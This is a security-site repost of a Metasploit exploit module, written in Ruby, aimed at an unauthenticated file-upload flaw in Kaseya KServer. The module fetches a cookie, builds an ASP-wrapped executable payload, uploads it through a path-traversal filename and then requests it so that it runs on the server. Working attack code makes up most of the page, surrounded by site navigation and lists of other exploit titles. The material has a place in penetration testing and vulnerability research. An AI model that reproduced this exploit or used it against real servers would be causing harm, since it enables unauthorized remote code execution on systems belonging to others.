首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Kaseya uploadImage Arbitrary File Upload
来源:metasploit.com 作者:Hibbert 发布时间:2013-12-05  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kaseya uploadImage Arbitrary File Upload',
      'Description'    => %q{
        This module exploits an arbitrary file upload vulnerability found in Kaseya versions below
        6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous
        authentication, leading to arbitrary code execution with IUSR privileges.
      },
      'Author'         =>
        [
          'Thomas Hibbert <thomas.hibbert@security-assessment.com' # Vulnerability discovery and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '99984'],
          ['BID', '63782'],
          ['EDB', '29675'],
          ['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Privileged'     => false,
      'Targets'        =>
        [
          [ 'Kaseya KServer / Windows', {} ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 11 2013'))
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri('SystemTab','uploadImage.asp')
    })

    # the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404
    unless res and res.code == 500
      return Exploit::CheckCode::Unknown
    end

    return Exploit::CheckCode::Appears
  end

  def exploit
    print_status("#{peer} - Getting cookie...")
    res = send_request_cgi({
       'method' => 'GET',
       'uri'    => normalize_uri("SystemTab", "uploadImage.asp")
    })

    unless res and res.code == 500 and res.headers and res.headers.include?('Set-Cookie')
      fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to get cookie")
    end

    cookie = res.get_cookies
    @payload_name = "#{rand_text_alpha_lower(8)}.asp"
    exe  = generate_payload_exe
    asp  = Msf::Util::EXE.to_exe_asp(exe)
    post_data = Rex::MIME::Message.new
    post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
    data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    print_status("#{peer} - Uploading payload...")
    res = send_request_cgi({
      "method" => "POST",
      "uri"    => normalize_uri("SystemTab", "uploadImage.asp"),
      "vars_get" => {
        "filename" => "..\\..\\..\\..\\#{@payload_name}"
      },
      "data"   => data,
      "ctype"  => "multipart/form-data; boundary=#{post_data.bound}",
      "cookie" => cookie
    })

    unless res and res.code == 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    register_files_for_cleanup(@payload_name)

    print_status("#{peer} - Executing payload #{@payload_name}")
    res = send_request_cgi({
      'uri'    => normalize_uri(@payload_name),
      'method' => 'GET'
    })
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenSSL Denial Of Service
·Joomla Hotornot2 Shell Upload
·D-Link DIR-XXX Remote Root Acc
·Steinberg MyMp3PRO 5.0 - Buffe
·TP-Link 150M Wireless Lite N R
·D-Link DSR Router Remote Root
·Firefox FBTest 1.12b4 Command
·Eaton Network Shutdown Module
·Windows NDPROXY Local SYSTEM P
·Up.Time Monitoring Station pos
·Steinberg MyMp3PRO v5.0 DEP By
·ad GOM Player 2.2.53.5169 - SE
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved